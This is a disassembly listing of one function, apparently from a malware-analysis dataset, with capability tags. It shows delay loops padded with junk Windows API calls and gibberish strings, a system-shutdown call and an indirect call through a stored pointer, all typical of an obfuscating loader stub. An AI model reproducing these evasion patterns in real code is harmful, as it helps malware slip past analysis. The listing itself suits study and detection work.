Function at 0x427050
Capabilities:
Get common file path
Get thread local storage value
Read .ini file
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14e8
call fcn.0040b210
mov dword [ebp - 4], 0
jmp 0x42706f
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x32d05d76
jge 0x42712a
cmp dword [0xbfed84], 0xfc
jne 0x4270e1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
xor ecx, ecx
mov word [ebp - 0x78], cx
xor edx, edx
mov dword [ebp - 0x76], edx
mov dword [ebp - 0x72], edx
mov dword [ebp - 0x6e], edx
mov word [ebp - 0x6a], dx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
mov word [ebp - 0x60], ax
xor ecx, ecx
mov word [ebp - 0x5e], cx
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x60]
push eax
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
cmp dword [0xbfed84], 0x5e4
jne 0x42711a
push str.Xisen_difutod_rivawo_tinewoha_duhamakapovuf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push str.Mobebarinamohay_foyusunah
push 0
lea eax, [ebp - 0x480]
push eax
push str.Yufudizodu_galof_rayi_mica_cije
push str.Bacunizucojux_lisy_det
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp dword [ebp - 4], 0x9be51dc
jle 0x427125
jmp 0x42712a
jmp 0x427066
push 0x43bf20
mov ecx, dword [0xbfed84]
push ecx
mov edx, dword [0xbfe0c0]
push edx
call fcn.00426fb0
mov dword [ebp - 0x4a8], 0
jmp 0x42715d
mov eax, dword [ebp - 0x4a8]
add eax, 1
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0x3e7a3
jge 0x4271b5
cmp dword [0xbfed84], 0x10
jne 0x42719a
mov dword [ebp - 0x4b8], 0
mov dword [ebp - 0x4b4], 0
lea ecx, [ebp - 0x4ac]
push ecx
lea edx, [ebp - 0x4b8]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
cmp dword [ebp - 0x4a8], 0x1e673
jne 0x4271b3
call fcn.00426b30
jmp 0x42714e
mov dword [ebp - 0x4bc], 0
jmp 0x4271d0
mov eax, dword [ebp - 0x4bc]
add eax, 1
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0xdd9a7
jge 0x42720c
cmp dword [0xbfed84], 0xc01
jne 0x42720a
lea ecx, [ebp - 0x4c0]
push ecx
push str.Naralise_mani_bucexo_puxid_puhoxalitasutid
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
jmp 0x4271c1
call dword [0xbfe0c0]
cmp dword [0xbfed84], 0x1144
jne 0x42730f
push 0
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push 0
call dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov dword [ebp - 0x14e0], 0
xor edx, edx
mov dword [ebp - 0x14dc], edx
mov dword [ebp - 0x14d8], edx
mov dword [ebp - 0x14d4], edx
mov dword [ebp - 0x14d0], edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommMask]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push str.yodokeker_zareneyid_dewidixibusejewunilubumacuyutuza_wutuxejewiwosuhotodur_tedoyekaxinozopinizuvazigonameni
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
lea eax, [ebp - 0xcc0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea ecx, [ebp - 0x14cc]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea edx, [ebp - 0xcc4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
lea eax, [ebp - 0x8c0]
push eax
push 0
push str.Gomonowenidanam_tacuze_rutoxuxihiye_tepa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
lea ecx, [ebp - 0xcc8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
lea edx, [ebp - 0x14c8]
push edx
push str.Raboho_puvatefe
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
xor eax, eax
mov esp, ebp
pop ebp
ret